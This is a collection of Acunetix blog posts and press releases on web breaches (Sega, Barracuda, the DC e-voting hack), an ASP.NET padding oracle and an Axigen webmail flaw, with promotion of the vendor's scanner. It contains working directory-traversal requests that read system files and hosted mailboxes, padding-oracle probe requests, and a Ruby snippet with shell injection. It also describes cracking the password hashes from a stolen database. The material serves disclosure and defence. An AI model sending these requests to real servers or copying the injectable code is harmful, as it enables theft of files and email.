Company websites are the most vulnerable target as they are accessible by hackers from all over the world and normally contain sensitive customer data. Attacks on websites are very often done using classic SQL Injection attacks and Cross Site Scripting (XSS) vulnerabilities.

Barriers

What are the greatest barriers to implementing an effective network security strategy? Almost half (48%) of the companies surveyed said that they found security procedures too complex to implement. Another 48% of companies also mentioned a shortage in resources. This suggests a strong correlation. Companies are finding security procedures and practices too complex and thus expensive to implement.

An overwhelming majority (76%) believe that they would be more effective and secure with a simplified and streamlined network security operation. Perhaps the complexity of networks is here to stay and this gives even more reason for companies to invest in good software that can test their networks and websites for common vulnerabilities.

Vulnerability scanners are becoming an increasingly effective way for companies to quickly and continuously detect the ‘low hanging fruit’ and take corrective measures. Some high-end tools also help customers investigate more complex and hard to find vulnerabilities in their websites.

Increase in Attacks

The last 12 – 18 months has seen an increase in the severity of the attacks. 77% of companies reported that they were now losing more money and assets with every attack. To make the problem worse, 78% also said that the frequency of attacks was also on the increase.

Companies reviewed the breaches that took place and stated that the top two most serious threats were determined to be web-based attacks and SQL injection attacks. Around a third voted hacking as one of the most serious security threats.

As for the consequences of the attacks, companies found that theft of information and business disruptions were the most serious results of a hack. With so much money being lost in breaches, companies need to invest more money into preventative security measures.

Next Steps

Companies can improve their ability to prevent or contain attacks by attaining a better understanding of the technologies, and making better use of security technologies. Understanding the source of the attacks goes a long way to improving security. Companies can address the insider threat by creating a comprehensive, end-to-end security policy.

In today’s environment, having one’s systems hacked is a near-statistical certainty. Chances are that companies are being hacked more than once. According to the statistics in the survey, each successful attack averages 500,000 American dollars. With these sorts of numbers, the new ROI on security testing is asking if your business will still exist in a year from now?

Sega Pass System Breached

Sega Pass was taken down last Thursday after the breach was discovered. The hackers made off with the personal information of Sega’s 1.3 million users. This includes email addresses, home addresses, dates of birth and their encrypted passwords. In the email to its users, Sega stressed that the passwords were encrypted, not stored in plain text. It is not known if the passwords encryption was strong enough and whether they were salted. We know from previous security breaches that weak encryption means no encryption at all.

The website in question, which can be found on the domain www.sega.com/sega-pass is still offline. Users who visit the page are greeted with a message that tries to tone down the severity of the attack. Perhaps the only silver lining to this is that since Sega uses external payment providers, payment information does not appear to have been stolen.

For its part, Sega has assured its users that they have taken all the appropriate actions to mitigate the effects of the attack. The service was temporarily taken down, and all user passwords have been reset. They have since isolated the location of the breach and have launched an investigation into the extent of the damage.

Additionally, Sega Corp. has strongly advised users that use the same log in information with other services to change those passwords as soon as possible.

Attack Vectors

The method that the hackers used is still unknown. Sega hasn’t released technical details. As the hack was performed through the Sega Pass website, it could be any of a number of hacking techniques, including SQL Injection, Cross-Site-Scripting (XSS) and others. My suspicion is that SQL Injection has something to do with it. It is quite normal for entire databases to be stolen when such attack vectors are utilised.

Who was Responsible?

As yet, no one has come forward and claimed responsibility for the hack. Most probably the hackers are trying to keep their identity secret and will probably be trying to sell the stolen information to some underground criminal network.

LulzSec, a hacker group notorious for its attacks on Sony, Microsoft, Nintendo, Bethesda and many others, have categorically denied responsibility.

Instead, the group has offered a helping hand to Sega. In a tweet, a representative wrote: “Sega – contact us. We want to help you destroy the hackers that attacked you”.

LulzSec burst into the public consciousness back in May 2011, when the group hacked into the PBS website in the United States, stealing user data and posting a bogus news story. In June, they attacked the Sony Pictures websites, claiming to have seized over one million user accounts. In the same month, they attacked the Nintendo servers, but were unable to make off with any useful data.

The group does not appear to hack for profit. Sometimes its attacks are politically motivated, such as the PBS attack. However, in general, the group claims to simply take pleasure in causing mass fear and disorder. LulzSec has never claimed to take advantage of the data they steal. They claim to be helping draw attention to security flaws.

Lessons Learned

All the recent high-profile breaches have indeed drawn attention to the issue of Internet security. Sega is simply yet another victim in the long line of companies to have been attacked. Companies have an increased responsibility to take every necessary precaution to protect their users’ data. As a user, ones information is now as unsafe as it ever has been. Surely one thing is certain – now is not a good time to be an online gamer.

• http://ideas.acunetix.com

You can login using your facebook, google or twitter account and thus you do not have to create an additional account and remember the password. We look forward to hear your ideas and feature requests!

About Acunetix

Acunetix was founded in 2004 to combat the alarming rise in web attacks. Its flagship product, Acunetix Web Vulnerability Scanner, is the result of several years of work by a team of highly experienced security developers. Leading International companies and organisations such as NASA, the US Air Force, The Pentagon, PricewaterhouseCoopers and Sony use Acunetix Web Vulnerability Scanner to protect their websites and web applications. Acunetix WVS has won numerous awards including the WindowSecurity.com Web Application Security award for four times in succession. Acunetix is a privately held European company with offices in the UK, Cyprus and Malta. For more information about Acunetix, visit: http://www.acunetix.com.

Hacking is on the rise and the number of victims is increasing every day. See how firewalls, SSL and locked-down servers can’t stop your web applications and websites from being hacked but how Acunetix protects them with:

• The industries’ most advanced and in-depth SQL injection and Cross Site scripting testing
• State of the art crawler technology which includes a client script analyzer engine
• Detailed reports that pinpoint security issues right down to the exact line of code
• Low False Positives

One lucky Acunetix Facebook follower will be selected at random to win an iPad 2! All you have to do is follow Acunetix on Facebook. If you’re not a follower, visit http://www.facebook.com/Acunetix and click Like.

Acunetix will be hosting several prize draws for its Facebook followers. You could be just a couple of clicks away from winning an iPad 2!

The winner will be announced on the Acunetix Blog and on the Acunetix Facebook page at the end of August 2011.

USA, June 13 2011 – Acunetix, developer of leading website security scanning software, today announced that the United States Air Force has selected Acunetix Web Vulnerability Scanner to defend against millions of cyber-attacks every day.

The US Air Force runs mission-critical web applications on several hundred web servers and therefore needs to have the highest level of security possible. The US Air Force needed a scanner that was flexible and highly configurable in order to meet their strict internal IT policies. With the competitive price and high level of support Acunetix also provides, it became the web scanner of choice.

“We tried eEye’s Retina web security scanner, HP’s WebInspect and another dozen web security tools, but only Acunetix WVS gave us the ability to modify vulnerability checks and scan for the ever growing threat of web application vulnerabilities. The speed in which it performs the checks is also unbeatable.  Acunetix has proven itself and is worth the cost.” – Mr. Rodgers, US Air Force

“Acunetix is able to make in depth checks for security vulnerabilities and features AcuSensor technology which allows it to increase the accuracy, find more vulnerabilities and reduce false positives. We are proud that the US Air Force relies on Acunetix and its cutting edge technology in the defense of their web servers. As Acunetix WVS is being used by international organisations, institutions and companies, Acunetix has the experience to match the demands of the US Air Force.” – Nick Galea, Acunetix CEO

Read the full US Air Force case study here to see why Acunetix Web Vulnerability Scanner is the USAF scanner of choice.

About Acunetix
Acunetix was founded in 2004 to combat the alarming rise in web attacks. Its flagship product, Acunetix Web Vulnerability Scanner, is the result of several years of work by a team of highly experienced security developers. Leading International companies and organisations such as NASA, the US Air Force, The Pentagon, PricewaterhouseCoopers and Sony use Acunetix Web Vulnerability Scanner to protect their websites and web applications. Acunetix WVS has won numerous awards including the WindowSecurity.com Web Application Security award for four times in succession. Acunetix is a privately held European company with offices in the UK, Cyprus and Malta. For more information about Acunetix, visit: http://www.acunetix.com.

About US Air Force
The mission of the United States Air Force is to fly, fight and win … in air, space and cyberspace. To achieve that mission, the Air Force has a vision of Global Vigilance, Reach and Power. That vision orbits around three core competencies: developing Airmen, technology to war fighting and integrating operations. These core competencies make our six distinctive capabilities possible. For more information, please visit: http://www.airforce.com/

On April 11th 2011, at nine in the evening, Barracuda Networks posted a grim entry on their blog. Their network had been hacked. Thousands of their confidential customer and employee records were stolen. In an ironic twist of fate, the company that advocates security through it’s own Web Application Firewall were victims to the most common and oldest type of attack against web servers – the infamous Blind SQL Injection.

Web Application Firewalls like the one that Barracuda Networks manufactures are designed to stop this type of attack from occurring in the first place, however they clearly are not the silver bullet against hackers. On their blog, Barracuda Networks admitted that they made several mistakes, the biggest of which was to unintentionally turn off their own firewall for a few hours. This was a golden window of opportunity which hackers pounced on and immediately exploited.

In a vain attempt to regain their customer’s trust, Barracuda Networks explained how the vulnerability happened. They mentioned that no sensitive information was stolen and all the stolen passwords were salted. The skeptic in me decided to challenge their statements so I did my own independent research, got hold of the stolen data and began an analysis.

This article details my findings, where I discover that within the 20,000 records that were stolen, many were internal and possibly privileged user names and passwords. I also find that some of the most sensitive passwords were very easily cracked and were not salted as they claim. I also challenge the assumption that Web Application Firewalls can never be one’s only line of defense. In fact, after this breach I am tempted to discourage the use of such devices since they easily lead to a sense of false security.

Main Concepts Behind the Attack

In this section I briefly explain the different methods used during this attack. I appreciate that some of you will already be familiar with these concepts, however it is good to go over them because it will give you a better understanding of the technical analysis later.

Blind SQL Injection

An SQL Injection attack is executed in three phases. In the first phase, the attacker launches a series of probes, or scans against his target. These scans are testing for any known SQL Injection weakness. They typically work by sending intentionally malformed user data to the server and analysing error responses from the web application. Certain error responses pinpoint vulnerabilities, whilst others reveal important information which is used to further refine the scans.

In a Blind SQL Injection attack the web application does not reveal any information about the errors, therefore traditional probing methods are ineffective. This does not mean that there are no vulnerabilities, but it does make the existing ones much harder to find.

Web Application Firewalls

The concept behind a Web Application Firewall (WAF) is very similar to how a traditional firewall works. A set of rules are configured on the firewall that selectively allow or deny network traffic. Rules on a WAF are exclusively designed to filter HTTP traffic. They are also capable of detecting common attacks, such as SQL Injection attack probes and XSS attempts. These firewalls exist as software installed on a host, or as a dedicated hardware device. Web Application Firewalls are a good first line of defence, however this does not mean that web application developers can employ lax coding and testing standards, as application bugs can still be exploited through the firewall. Barracuda Networks are a major player in the field of Web Application Firewalls, however they still fell victim of the classical SQL injection attack.

Hashing Passwords and Salting Hashes

Hashing passwords is a popular alternative to encrypting and storing passwords in a database. A hash is a one-way algorithm. This means that a password can be turned into a hash, but this a hash cannot be turned into a password. This is very convenient for web logins. The web server never stores the password, but instead stores the hash of the password. When a user attempts to log in, the password he enters is turned into a hash and compared with the hash in the database. If the two hashes match he is authenticated.

Cracking Hashed Passwords

Cracking hashes is only possible with brute force. A hacker tries every possible password combination, turning each password into a hash and comparing it to the hashes he has stolen. If one of them matches, then he has found a password. This attack, although cumbersome is greatly facilitated by the use of rainbow tables. These are large files of precomputed hashes for millions of known passwords and greatly reduce the time needed for a brute force attack.

To protect against rainbow table attacks against hashes, security administrators are encouraged to salt their passwords before hashing. This is a simple and effective technique. It consists of adding a special value to the password before hashing and renders brute force attacks practically useless.

Anatomy of the Attack

The news of this breach begs the question: How does one get past a Web Application Firewall (WAF) and perform an SQL Injection attack? The answer is simple. Wait for the WAF to be disabled and then perform the attack.

Below is a diagram showing how a WAF is positioned to block these attacks before they even reach the web server.

In the diagram above you can see that legitimate traffic is allowed through the WAF, however an SQL Injection payload is stopped before it can reach the Web Application Server, and consequently the SQL database.

If the WAF is removed, however the Web Application Server is left exposed, as can be seen in the diagram below.

According to various reports, attackers were able to exploit this scenario for many hours until they were successful. The SQL Injection vulnerability itself was found in a PHP script which is used to list customer reference case studies. Although this script was designed to access only the partner database, the SQL breach was large enough to give the hackers access to other databases on the same system.

According to a statement issued by Barracuda Networks the attack started with a few hours of probing from one IP address which was followed by a full-blown attack from several locations.

The vulnerable URL was the following:

http://www.barracudanetworks.com/ns/customers/customer_verticals.php?v=11

As you can see from the URL above, a single parameter called “v” is passed to this module. This parameter, which is of numeric type, identifies a vertical market ID. Vertical market  ID 11, corresponds to “Entertainment and Leisure”. Changing this ID to 10 serves up the vertical market “Energy and Utilities”.

By manipulating this parameter, hackers were able to inject their own SQL commands into the system and read out the entire set of databases on the server.

The hackers also revealed some other information, which is shown below:

It appears that the web server was running on a Microsoft Windows platform running the Microsoft IIS 6.0 web server. The vulnerable web application is listed as ASP.NET which looks odd to me, since the vulnerable URL is a PHP script and not an ASP script as one would expect on a Microsoft ASP.NET box.

The total extent of the breach may never be known to us, however some interesting information can be garnered through an analysis of the information leaked by the hackers themselves. The next section sifts through this information to determine what was stolen.

Damage Suffered

The hackers who claim to be responsible for the breach are a Malaysian group that go by the name HMSec. They posted a Full Disclosure message a few hours after the breach. In this message they listed a total of 22 different databases. Some databases are well known such as “phpmyadmin”, a popular administration tool for PHP and MySQL, who had also been a victim of an SQL Injection hack some time ago. I also noticed a database called “php_live_chat” which could mean that they are running a product called phpLiveChat, a commercial software module that allows customer to interact directly with sales and support staff at Barracuda.

There are also some more interesting databases. For example, the database “information_schema” is probably loaded with information that the hackers could have used to penetrate the database even further. There are two database called “bware” and “black_ips”. I hope my IP addresses are not in that one!

I saw a database or two which look like they belong on a development machine and not a live web server. Some examples of these are “igivetest” and “igivetestsucks”. A google search for “igivetest” results in an online tool for creating multiple choice questions. I wonder why this software was being installed and experimented with on a live server. Other questionable databases are “dev_new_barracuda” and “new_barracuda_archive”, both databases look out of place and make for a very dirty mySQL implementation on their end.

The juicy parts are what come next, list upon list of user names and passwords.

Here are a few, which I have censored out of respect for Barracuda staff, partners and customers.

This table is called CMS_LOGINS and contains 251 login accounts for the Barracuda Content Management System. The hashed passwords use the MD5 algorithm.

The following passwords were extracted from the main mySQL database itself and contains users who have system-level privileges some which are tied down to particular servers and some which grant access to all servers on the network. This database contains 23 users.

The users below were extracted from another database and contains user names, passwords and email addresses of Barracuda employees, possibly those who had access to the web help-desk system.

As you can see from the above tables, none of the passwords were stored in clear-text. Barracuda attempted to downplay the importance of these hashes by saying that they were salted, however upon closer inspection I found this claim to be unfounded.

Take a look at the main mySQL table. It contains duplicate hashes which not only shows that the administrator was using the same passwords for different accounts, but also shows that salting did not take place, or did not take place properly. Salting should append a different value to every password before it is hashed therefore making each of the hashes unique which is clearly not the case here.

After looking at this, I decided to try a rainbow table attack on some of the hashes. A rainbow table attack is very simple; huge lists of precomputed hashes are obtained (Google is your friend) and a simple text search is done within them. The crudest way of doing this is to simply paste the hash into Google and if you are lucky, you will come up with a match. Salting makes this trivial attack useless, so if the passwords were salted I would not have been successful.

For this test I took the hashes from the help-desk administrators table, below are some of the results:

The password above, which took less than half a second to crack is “zombie”, hardly a safe password. The result below makes me want to cry.

You are not seeing it incorrectly. It really does say that this password is “password”, the least secure password thatcan ever be used. How can Barracuda Networks risk such embarrassment?

Some other passwords were not as easy to crack, however I succeeded anyway after enlisting my Romanian friends who helped me brute-force some of the stronger passwords.

Below are some of the results after about 50 hours of brute-force cracking. These hashes come from different databases that were breached during the attack.

Needless to say, these passwords were not strong enough to withstand a brute-force attack and contrary to Barracuda’s false claims, they were obviously not salted either.

Lessons Learned

In a blog post to the Barracuda Labs security blog Micheal (Mike) Perone listed a few lessons that his team learned after the breach. In summary, they are:

You can’t leave a Web site exposed nowadays for even a day (or less).

Code vulnerabilities can happen in places far away from the data you’re trying to protect.

You can’t be complacent about coding practices, operations or even the lack of private data on your site – even when you have WAF technology deployed.

The first two lessons are trivial and probably show the naivety of Barracuda staff. A website cannot be exposed even for a few seconds, let alone a day! Furthermore, in this globalised and networked world, “places far away” can never be more than a few milliseconds apart.

I do applaud Mike on his third point. WAF technology is not enough. It should never be considered to be the only line of defence. At best a WAF will mitigate the risk of attacks, and if configured properly can reduce the load on your web servers. At worst (as in this breach), a WAF can fool you into thinking that you are safe enough, and therefore deeper tests such as code reviews and scans performed by a web vulnerability scanner might be neglected. This leaves your web application exposed to threats, and should the WAF fail, vulnerabilities will stick out like a sore thumb.

In addition to the lessons learned, I would also like to add a few of my own. Hopefully someone working at Barracuda will be humble enough to listen to me and learn something.

Be honest. Credibility with your customers is important, and your customers are not fools. After a breach like this Barracuda should have never made false claims that could be refuted using a simple Google search.

Salt your passwords. Really. Do not just wish or pretend you did. Salting is easy, recommended by everyone and extremely effective in mitigating attacks. It will also save you a whole lot of embarrassment when your administrator uses passwords like “zombie” and “password”.

Have a password policy in place. Do not allow easily guessable passwords to be the weak link in your chain of security. Password policies are easy to enforce through software and although are a nuisance to your users they remain a necessary evil.

Use a vulnerability scanner. Do not hide behind a Web Application Firewall. Scan your networks instead and identify bugs in your web applications. When you expose yourself you inevitably tend to protect yourself better.

By using two well known web applications that were purposely developed with vulnerabilities in order to facilitate web application testing and research (Damn Vulnerable Web Application (DVWA) and the IBM AppScan demo site called Testfire), it was time to see whether these claims were accurate and to determine the weaknesses and strengths of more affordable options. InfoSec Island’s Mark Baldwin put them to the test.

“Fortunately, in recent years, two companies have developed commercial webapp scanners that rival the features, the speed, the usability and the accuracy of any commercial tool on the market.  And they do it at a price point that just about any small business or independent consultant can afford”, said Baldwin.

So what did they have to say about these scanners, including Acunetix? “The strength of Acunetix lies in its ability to quickly detect a wide variety of vulnerabilities with little need for advanced tuning and configuration.  However, for those who desire more control over the tests and like to get their hands dirty, Acunetix provides the flexibility and built-in tools that even the most advanced pen testers will appreciate. ”

Acunetix Web Vulnerability Scanner proved impressive. “With Acusensor enabled, Acunetix detected 8 of the 9 specifically crafted vulnerabilities in DVWA.” It did this without any false positives, “Both Netsparker and Acunetix did a very good job of not reporting false positives. None of the reported vulnerabilities in my tests were discovered to be false positives.”

It looks as though those claiming that the most expensive web vulnerability scanners are the best need to re-think their position! You can read the full independent review by Mark Baldwin over at Infosec Island, here.

Click here to read the entire review | Read more reviews on Acunetix

For the fourth time in a row, Acunetix Web Vulnerability Scanner Chosen as the Windowsecurity.Com Readers’ Choice Award Winner.

The leading Windows Security resource site, WindowSecurity.com, announced today that Acunetix Web Vulnerability Scanner was selected the winner in the Web Application Security category of the WindowSecurity.com Readers’ Choice Awards.

“Our Readers’ Choice Awards give visitors to our site the opportunity to vote for the products they view as the very best in their respective category,” said Sean Buttigieg, WindowSecurity.com manager. “WindowSecurity.com users are specialists in their field who encounter various network security solutions at the workplace.  The award serves as a mark of excellence, providing the ultimate recognition from peers within the industry.”

“It’s a great honour to be awarded the Windowsecurity.com Readers’ Choice Award for the fourth consecutive time. It re-emphasizes our ability to keep providing a quality and innovative product by being consistently voted as the number one web application security scanner by the readers of a leading authority in network security,” said Robert Abela, Technical Manager at Acunetix.

WindowSecurity.com conducts monthly polls to discover which product is preferred by Network Security administrators in a particular category of third party network security solutions. The awards draw a huge response per category and are based entirely on the visitors’ votes. WindowSecurity.com visitors can submit their votes for the current Readers’ Award poll in the site’s left-hand bar.

Acunetix has long had the reputation of manufacturing one of the best tools for this kind of job. The company has recently released a new version of their Acunetix Web Vulnerability Scanner (v.7), and has rewritten most of its core components – making it faster and better.

The new features include a new scanning engine that detects a wider range of vulnerabilities, improved web 2.0 application support and session management handling, ability to rescan a specific vulnerability to verify remediation, less false positives and negatives, a lesser chance of breaking down a website while scanning, and more.” – Zeljka Zorz – Net Security.

Click here to read the entire review | Read more reviews on Acunetix

Apart from the automated DOM XSS checks, the new build also contains the following bug fixes.

• Fixed: Get First URL Only option not working correctly because it was still importing links from CSA engine
• Fixed: “User credentials sent in clear text” was not being reported by crawler in certain circumstances
• Fixed: Port was being specified in host header even if default ports were being used.

How to upgrade to build 20101206

On starting up Acunetix WVS, a pop up window will automatically notify you that a more recent build is available for download.  To download the latest build, navigate to General > Program Updates node in the Tools explorer, and click on Download and Install new build.

Click here for the complete Acunetix WVS change log.

Contact us on support@acunetix.com for any technical queries, and on sales@acunetix.com for any sales queries.

Here are the big areas that affect us:

1.    All locations and flows of cardholder data need to be identified/documented through a discovery process to ensure everything important is kept in check. I’m not sure why this fundamental principle of information risk needs to be clarified…At least there’ll be no more “accidentally” overlooking the small stuff.

2.    The scope of protection now includes virtualization. Again, it’s interesting that this needed to be called out given the reality of anything with an IP address or URL is fair game for attack. I suspect lawyers had something to do with this clarification.

3.    Payment applications must support centralized logging which aligns the PA-DSS and PCI DSS requirements. This is one of those behind-the-scenes areas of Web application security that would benefit us all if we delved deeper in to during our Web security assessments.

4.    Additional “secure coding” guidance is provided including references to SANS CWE Top 25 and CERT standards which branches out from the previous references to OWASP only. I think this is a good approach as not everyone uses or relies on OWASP. Heck, at least half of the developers, QA professionals, IT managers and internal auditors I speak with have never even heard of OWASP anyway. It’s good to see a broader set of industry standards will be acceptable.

5.    Finally, perhaps most importantly, there’s new guidance on taking a risk-based approach to the security assessment process. This includes preventing common coding flaws introduced during the SDLC that lead to “High” risk vulnerabilities. So, no more spreading fear and uncertainty on issues like cross-site request forgery (CSRF), parameter manipulation and so on which, looking at the big picture, might not matter in the context of your specific business environment.

The PCI Security Standards Council is playing these changes down as nothing new but I think they’re significant. Not only does version 2.0 of PCI DSS and PA-DSS help clear up some otherwise foggy issues from the version 1.2 days, it actually provides covered entities more power and control to use some common sense – something we need a lot more of when it comes to information security.

I’m not a big fan of the PCI Security Standards Council and the approach they’re taking with PCI compliance but kudos to them for making these revisions to the regulations – which, by the way, are now on a three year development cycle instead of it being every two years. Imagine the money that could be saved and efforts that could be limited if similar government regulations were continually updated. Okay, so the HITECH Act provided clarification and teeth for HIPAA but that’s the exception rather than the rule. It’s interesting insight into private industry versus government approaches to privacy and security regulation nonetheless.

In the end, no matter how much government agencies and industry bodies want to effect change in the marketplace through their regulations, odds are we’ll continue to see more of the same. More flaws, more attacks and more data breaches. There can be an unlimited amount of PCI-type regulations around the world but there’s still no fix for stupid security choices. I suspect Web vulnerabilities will live on…but I’m not complaining.

The District of Columbia recently attempted to give the opportunity to a number of people who live or work overseas to be able to cast their vote remotely. To do this a secure E-Voting website costing over $300,000 was built.

In all fairness, the student was not just any student. He was the student of a class led by J. Alex Halderman, an assistant professor at the University of Michigan who specialises in computer security. Halderman heard about the public trial run of the E-Voting system just a few days before its launch and quickly assembled a team from his students. Their task was to test the site for vulnerabilities, and exploit the first security hole that they found.

The Exploit in Detail

After only 36 hours of going live, a security hole in the E-Voting Web Application was discovered. This particular vulnerability allowed an E-Voter to take near-complete ownership of the Internet Voting website allowing them to:

Below is a diagram showing where the flaw was discovered:

Shell-Injection

The attacker managed to inject shell commands in a very ingenious way. He realised that when he uploaded his vote, which is a PDF file, the server encrypts the file. It does this after running a Ruby script that “shells out” to invoke an encryption module called GNU Privacy Guard, known to UNIX hackers simply as gpg.

“Shelling out” of a script is in itself not a security flaw, it is a common practice employed by many web developers when they need to execute external commands on the server. This practice is frowned upon by many security researchers because when used incorrectly it can lead to critical security breaches, giving the attacker complete ownership of the system.

In this case, the fatal flaw was that the shell command executed by the web application made use of the extension of the file uploaded by the voter. Every character in the file name that appeared after the last period was appended to the shell command. To compound the problem, little or no validation was done to the file name after it was uploaded.

The segment below highlights the code that uses the file extension as part of the gpg encryption command.

begin
run(“rm”, “-f \”#{File.expand_path(dst.path)}\”")
run(“gpg”, “–trust-model always -o \”#{File.expand_path(dst.path)}\” -e -r \”#{@recipient}\” \”#{File.expand_path(src.path)}\”")
rescue PaperclipCommandLineError
raise PaperclipError, “couldn’t be encrypted. Please try again later.”

The highlighted code above will cause the server execute the following command after a file named myvotingdocument.pdf has been uploaded:

Remedies

One has to see the irony in this story. It was a security feature of the E-Voting Application (the encryption module) that led to it’s ultimate demise. The devloper of the system was doing a secure thing, but he did this insecurely. In my opinion it was a major design flaw in the first place to allow E-Voters to upload their own files, let alone, upload PDF files, a file format that has been recently plagued by numerous security scandals.

My advice to web application developers is to limit the instances that allow for users to upload files. Where this is not possible be sure to implement additional security measures. As a minimum, file names should be checked for malicious commands, they should also be scanned for viruses before being committed to the system. Files and file names are forms of user input and just like any user input or any external data your web application receives, it can never be trusted.

Yesterday, Duncan Smart from ASP.NET forums published some very useful information that allows us to do that. An application is vulnerable to a padding oracle attack if it responds differently in the following three cases:

1. When a valid ciphertext is received (one that is properly padded and contains valid data).
2. When an invalid ciphertext is received (one that is not properly padded).
3. When a valid ciphertext is received (properly padded) but the decrypted value is not valid for the application.

If you want to know more about padding oracles, a very good resource is Automated Padding Oracle Attacks with PadBuster.

How do we apply this to ASP.NET?

The key to attacking ASP.NET is the file WebResource.axd. This file is also used in the exploit video released by Juliano Rizzo. This file can be used as a Padding Oracle because it responds differently in all three cases.

Here are the three cases.

1. valid ciphertext
Make a request like http://website.com/application/WebResource.axd?d=jzjghMVYzFihd9Uhe_arpA2
The response status is 200 OK and the response body is the content of the web resource you’ve requested (some javascript code in my case).

2. invalid ciphertext
Make a request like http://website.com/application/WebResource.axd?d=acunetix
The response status is 500 Internal Server Error and the response body is some error message.

3.valid ciphertext but invalid data
Make a request like http://website.com/application/WebResource.axd?d=
The response status is 404 Not Found and the response body is some error message.

This is the padding oracle that allows an attacker to exploit this vulnerability. If your application responds differently in all of these three cases, it’s vulnerable.

Very important: Setting CustomErrors to “On” or “RemoteOnly” (in web.config) doesn’t solve this problem because the padding oracle is still there (the error message displayed on the 500 error page is not important for this vulnerability).  Therefore, the only solution is the one presented by Scott Guthrie.  Edit web.config to use redirectMode set to ResponseRewrite and defaultRedirect to an error page defined by you.

Once this workaround is applied, the application will return the same status code and response body in all three cases. If you are using .NET Framework version 3.5 SP1 or 4.0, it’s even better.

If you are using .NET Framework version 3.5 SP1 or 4.0, the workaround provides further protection by also helping to mitigate against potential timing analysis attacks. The workaround uses the redirectMode=”ResponseRewrite” option in the customErrors feature, and introduces a random delay in the error page. These approaches work together to make it more difficult for an attacker to deduce the type of error that occurred on the server by measuring the time it took to receive the error.

Today we’ve released an update for Acunetix WVS that is automatically checks if your application is vulnerable or not to this ASP.NET vulnerability.

Axigen is an integrated email, calendaring & collaboration platform, masterfully built on our unique Linux mail server technology, for increased speed & security.

Axigen Webmail version 7.4.1 is vulnerable to a directory traversal vulnerability. Only Axigen installations running on Windows platforms are affected. By URL encoding the “\” character to %5C it’s possible to bypass the directory traversal protection available in this application. Our scanner reported the following alert:

By requesting the following URL (/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini) it’s possible to read the contents of file c:\windows\win.ini. Using this encoding trick it’s possible to traverse directories and see the contents of any file that is readable by the web server user.

Here is a sample HTTP request:

GET http://192.168.0.222:80/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows/win.ini HTTP/1.1
Cookie: webmailSession=0; cookieTest=cookiesEnabled; checkOverQuota=0; passwordExpireWarning=0
Host: 192.168.0.222:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

While investigating this alert, I’ve discovered that this vulnerability is more serious than I initially expected. This is a very serious vulnerability because using information from the log files it’s possible to gather enough information to read the file containing all the emails from all the domains hosted on the server.

For, example, using an HTTP request like:

GET /..%5c..%5c/log/everything.txt HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 192.168.0.222
Connection: Close
Pragma: no-cache

you can access the log file. From here you get determine the domain name and using this information you can read the file containing all the emails from this domain:

GET /..%5c..%5c/domains/localdomain/00.hsf HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 192.168.0.222
Connection: Close
Pragma: no-cache

This vulnerability was reported to the Axigen team on 22/7/2010 via the support system on their website and they were fixed in Axigen version 7.4.2. If you are using Axigen, download the latest version from their website. The changelog is available here.

New scanning engine with improved vulnerability detection AND verification makes finding and fixing security issues in web applications easier.

London, 1st September 2010 – Acunetix, a market leader in web application security scanning technology, today announced version 7 of its popular Web Vulnerability Scanner. With the new human like vulnerability verifying techniques, revolutionary scanning engine and support for a wider variety of web applications, Acunetix re-establishes its technology lead in web application security. Acunetix WVS Version 7 also features improved performance, less false positives and detection of a wide range of new web vulnerability types.

“With Acunetix WVS v7 we focused on finding more vulnerabilities, reducing false positives, and on improving scanner performance,” said Robert Abela, Acunetix Technical Manager. “As a result, Acunetix 7 is now 300% faster, can reduce false positives up to 50% and detects new vulnerabilities such as stored directory traversal.  This helps businesses reduce the time and resources needed to secure their web applications significantly.”

Unique vulnerability verifying technique reduces false positives
Acunetix v7 includes new advanced vulnerability verifying techniques which result in much less false positives, and thus saves time of security administrators trying to reproduce such situations.  Such accuracy is achieved by sending a number of test inputs to the web application, and depending on the response, Acunetix v7 will automatically determine which web vulnerability checks to launch against the web application.

New faster scanning engine reduces time to scan a website by up to 300%
Acunetix WVS Version 7 includes a new fast multi-threaded scanner that can scan on more threads at a time and more efficiently. Scans that could take hours to complete now can be done in minutes, depending on website structure and web applications.

Acunetix 7 reduces time needed to fix security vulnerabilities
When a web security threat is discovered, Acunetix WVS Version 7 presents the developers with a more precise and understandable technical and vulnerability remediation information, to help them fix the issue in a much shorter time.  To improve understanding, different variants of the vulnerability are gathered in one detailed vulnerability report. Acunetix v7 can also re-check a fix for a particular vulnerability, without having to rescan the entire website.

Detect more web vulnerabilities
Thanks to the new revolutionary scanning engine and website crawler, Version 7 is able to find much more vulnerabilities than ever before.  The new site crawler’s in-depth analysis of the website presentation layer discovers more website parameters and inputs. Acunetix 7 is therefore capable of finding many more vulnerabilities in a larger variety of different web applications.

Scan a wider range of web applications
Acunetix v7 is also able to crawl and scan a wider variety of web technologies. Support for Web 2.0 applications has been improved, and also session handling.  All of the advanced penetration testing tools have been rewritten to support Web 2.0 requests, such as JSON, XML and more.

HTTP authentication
Acunetix WVS v7 now supports more than a single pair of HTTP credentials for the same host.  Thanks to the new HTTP authentication settings node, one can pre-define credentials per host, directory and even file.

Easily create your own vulnerability checks
Acunetix v7 now has improved support for creating custom vulnerability checks. Vulnerability checks are written in JavaScript, the most popular scripting language with web developers, and can thus be easily adjusted or extended.  A scripting tool and SDK are also available to assist developers in writing custom web vulnerability and security checks.

Lower cost subscription licenses
Subscription based licenses now also include the maintenance agreement and are thus significantly cheaper. In addition free support and free version upgrades are included.

Other Features

• New graphical scan status interface shows more information about a web scan in progress
• Avoid the lengthy process of manually analyzing the code by specifying the label or tag instead of actual parameter name
• Verify that AcuSensor Technology is correctly installed with a simple click of a button
• During a scan, less bandwidth is consumed and less stress is put on the server thanks to improved network traffic handling
• A number of new network security checks have been added and other ones improved.

Acunetix WVS Trial Edition
Download Acunetix Web Vulnerability Scanner v7 trial edition from here

About Acunetix
Acunetix is a market leader in web application security technology. Founded in 2004, Acunetix customers include the US Army, US Airforce, AT&T, KPMG, Telstra, Fujitsu, Adidas and many more.   For more information please visit: http://www.acunetix.com.

Click here to watch the high quality version of this video

